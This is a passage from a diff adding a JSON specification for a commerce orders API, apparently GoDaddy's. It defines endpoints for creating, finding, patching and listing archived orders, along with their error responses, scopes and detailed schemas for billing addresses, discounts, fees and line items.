failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:read" + ] + }, + { + "operationId": "createOrder", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/orders", + "summary": "Create a new order", + "description": "Create a new order", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + } + ], + "requestBody": { + "required": true, + "description": "The order object to create", + "contentType": "application/json", + "schema": { + "$ref": "./models/Order.yaml" + } + }, + "responses": { + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully created the order", + "schema": { + "properties": { + "order": { + "$ref": "./models/Order.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "order" + ], + "title": "OrderCreated", + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:create" + ] + }, + { + "operationId": "putOrder", + "method": "PUT", + "path": "/v1/commerce/stores/{storeId}/orders", + "summary": "Create order with identifier", + "description": "Create an order with a specified identifier", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + } + ], + "requestBody": { + "required": true, + "description": "The order object to create with a passed in Global ID (e.g. `Order_`)", + "contentType": "application/json", + "schema": { + "$ref": "./models/Order.yaml" + } + }, + "responses": { + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully created the order", + "schema": { + "properties": { + "order": { + "$ref": "./models/Order.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "order" + ], + "title": "OrderWithIdCreated", + "type": "object" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:create" + ] + }, + { + "operationId": "queryArchivedOrders", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/orders/archived", + "summary": "Find archived orders", + "description": "Find any archived orders with pagination using the store ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "A non-negative, non-zero integer indicating the maximum number of resouces to return at one time", + "schema": { + "default": 25, + "format": "int64", + "maximum": 100, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "Returns the resources that come after this specified cursor", + "schema": { + "description": "A cursor for use in pagination", + "example": "MTY1MTc0NTczMDAwMDsyRzVWc1dFRmhJa3RIOFBZNHFDMGlPR0RwVko=", + "type": "string" + } + }, + { + "name": "pageTokenDirection", + "in": "query", + "required": false, + "description": "Direction indicator used for cursor based pagination", + "schema": { + "default": "FORWARD", + "description": "Page token direction", + "enum": [ + "BACKWARD", + "FORWARD" + ], + "type": "string" + } + } + ], + "responses": { + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully listed archived orders", + "schema": { + "properties": { + "links": { + "description": "Array containing one or more HATEOAS link relations that are relevant for traversing archived orders", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "orders": { + "items": { + "$ref": "./models/Order.yaml" + }, + "type": "array" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "orders", + "links" + ], + "title": "ArchivedOrders", + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:read" + ] + }, + { + "operationId": "findOrder", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/orders/{orderId}", + "summary": "Find an order", + "description": "Find a single order using the order ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "orderId", + "in": "path", + "required": true, + "description": "The ID of the order", + "schema": { + "$ref": "./models/Order.yaml#/properties/id" + } + } + ], + "responses": { + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully found the order", + "schema": { + "properties": { + "order": { + "$ref": "./models/Order.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "order" + ], + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:read" + ] + }, + { + "operationId": "patchOrder", + "method": "PATCH", + "path": "/v1/commerce/stores/{storeId}/orders/{orderId}", + "summary": "Patch an order", + "description": "Modify an existing order using the store and order ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "orderId", + "in": "path", + "required": true, + "description": "The ID of the order", + "schema": { + "$ref": "./models/Order.yaml#/properties/id" + } + } + ], + "requestBody": { + "required": true, + "description": "The order object to patch", + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/orders/order-patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Consumers can patch most attributes of an Order, but not all. Notable exceptions include `order.statuses.status` and `order.externalId`", + "properties": { + "billing": { + "$id": "https://godaddy.com/schemas/commerce/orders/billing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant billing details about an order", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "companyName": { + "description": "Company name associated with the billing info", + "type": "string" + }, + "email": { + "description": "The email address associated with billing", + "example": "test-billing@gmail.com", + "format": "email", + "type": "string" + }, + "firstName": { + "description": "First name associated with the billing info", + "type": "string" + }, + "lastName": { + "description": "Last name associated with the billing info", + "type": "string" + }, + "phone": { + "description": "The phone number associated with the billing info", + "format": "phone", + "type": "string" + } + }, + "title": "Billing", + "type": "object" + }, + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "completedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "context": { + "description": "Context for an order", + "properties": { + "businessId": { + "description": "ID of the business that the order belongs to", + "example": "5d370f50-05f8-4dc3-9b20-80a7552232b2", + "type": "string" + }, + "channelId": { + "description": "ID of the channel that the order belongs to", + "example": "54ee725f-8dee-4b0f-908b-e0334e6628f5", + "type": "string" + }, + "storeId": { + "description": "ID of the store that the order belongs to", + "example": "fd3d9291-dc9a-445d-aa68-d2ff1a77a83c", + "type": "string" + }, + "ventureId": { + "description": "ID of the venture that the order belongs to", + "example": "7226696b-1482-444e-ba03-cd07bbe97d45", + "type": "string" + } + }, + "required": [ + "channelId", + "storeId" + ], + "type": "object" + }, + "customerId": { + "description": "Reference to a Customer as defined by the Connections service", + "type": "string" + }, + "discounts": { + "description": "Discounts for an order", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/discount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A discount can be applied at two levels: the broad order level and the individual line item level", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "appliedBeforeTax": { + "default": false, + "description": "Discount was applied to order / line item before calculating tax", + "type": "boolean" + }, + "code": { + "description": "Code of the applied discount. For orders from certain consumers, the order can have a custom discount applied during checkout that does not have a specific code", + "type": "string" + }, + "externalIds": { + "description": "A set of externalIds associated with the discount", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the discount (). Auto-generated by the service on creation", + "example": "2OzAIm2h7FSFjGvrG3pOieuVWBg", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a discount", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the discount used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the discount", + "example": "a95253f9-c179-4561-9fb1-61edb2c8ccdb", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Discount", + "type": "object" + }, + "type": "array" + }, + "fees": { + "description": "Fees for an order", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A miscellaneous fee can be applied at two levels: the broad order level (shipping fee or handling cost) and the individual line item level", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "appliedBeforeTax": { + "default": false, + "description": "Fee was applied to order / line item before calculating tax", + "type": "boolean" + }, + "externalIds": { + "description": "A set of externalIds associated with the fee", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the fee (). Auto-generated by the service on creation", + "example": "2OzALCP9sWGrPHZs6PHVXWohzdm", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a fee", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the fee used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the fee", + "example": "a95253f9-c179-4561-9fb1-61edb2c8ccdb", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "fulfilledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "lineItems": { + "description": "Line items", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/line-item.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A order has to have at least 1 line item which is a representation of what the customer purchased", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "deprecatedNote": { + "deprecated": true, + "description": "Single note field for backwards compatibility - use notes array for new implementations", + "type": "string" + }, + "details": { + "description": "All detailed information for a line item - sku, selectedOptions, assetUrl, etc.", + "properties": { + "productAssetUrl": { + "description": "Product's associated asset URL. This can be an image thumbnail, video URL, etc.", + "type": "string" + }, + "selectedAddons": { + "items": { + "description": "A line item can have multiple selected add-ons", + "properties": { + "attribute": { + "description": "Name of the add-on", + "example": "Pizza Toppings", + "type": "string" + }, + "sku": { + "description": "SKU of the add-on. Certain systems set a SKU per add-on type", + "type": "string" + }, + "values": { + "items": { + "description": "An add-on can have multiple values. For example a pizza with a Toppings add-on: `Mushrooms: +$0.00`, `Spinach: +$0.00`, and `Sausage: +$1.00`", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "amountIncreased": { + "default": true, + "deprecated": true, + "description": "Determines whether the add-on amount increases or decreases the price of the line item", + "type": "boolean" + }, + "costAdjustment": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "name": { + "description": "Name of the add-on value", + "example": "Sausage: +$1.00", + "type": "string" + } + }, + "required": [ + "name", + "costAdjustment" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "attribute", + "values" + ], + "type": "object" + }, + "type": "array" + }, + "selectedOptions": { + "items": { + "description": "A line item can have multiple selected options", + "properties": { + "attribute": { + "description": "Name of the option type", + "example": "Size", + "type": "string" + }, + "values": { + "description": "Array of option values with string values", + "items": { + "example": "Red", + "type": "string" + }, + "type": "array" + } + }, + "required": [ + "attribute", + "values" + ], + "type": "object" + }, + "type": "array" + }, + "sku": { + "description": "SKU of the product. SKU is not required because some consumers do not make SKU a required field when adding a product", + "type": "string" + }, + "unitOfMeasure": { + "description": "Product's unit of measure. Helps denote what was sold. If the line item purchased was grapes, the unit of measure could be set to `LBS`", + "type": "string" + } + }, + "type": "object" + }, + "discounts": { + "description": "Discounts for a line item", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/discount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A discount can be applied at two levels: the broad order level and the individual line item level", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "appliedBeforeTax": { + "default": false, + "description": "Discount was applied to order / line item before calculating tax", + "type": "boolean" + }, + "code": { + "description": "Code of the applied discount. For orders from certain consumers, the order can have a custom discount applied during checkout that does not have a specific code", + "type": "string" + }, + "externalIds": { + "description": "A set of externalIds associated with the discount", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the discount (). Auto-generated by the service on creation", + "example": "2OzAIm2h7FSFjGvrG3pOieuVWBg", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a discount", + "items": { + "$id": 